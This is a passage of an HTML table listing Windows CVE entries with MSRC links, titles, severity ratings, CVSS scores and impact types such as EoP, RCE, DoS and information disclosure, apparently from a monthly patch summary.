  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
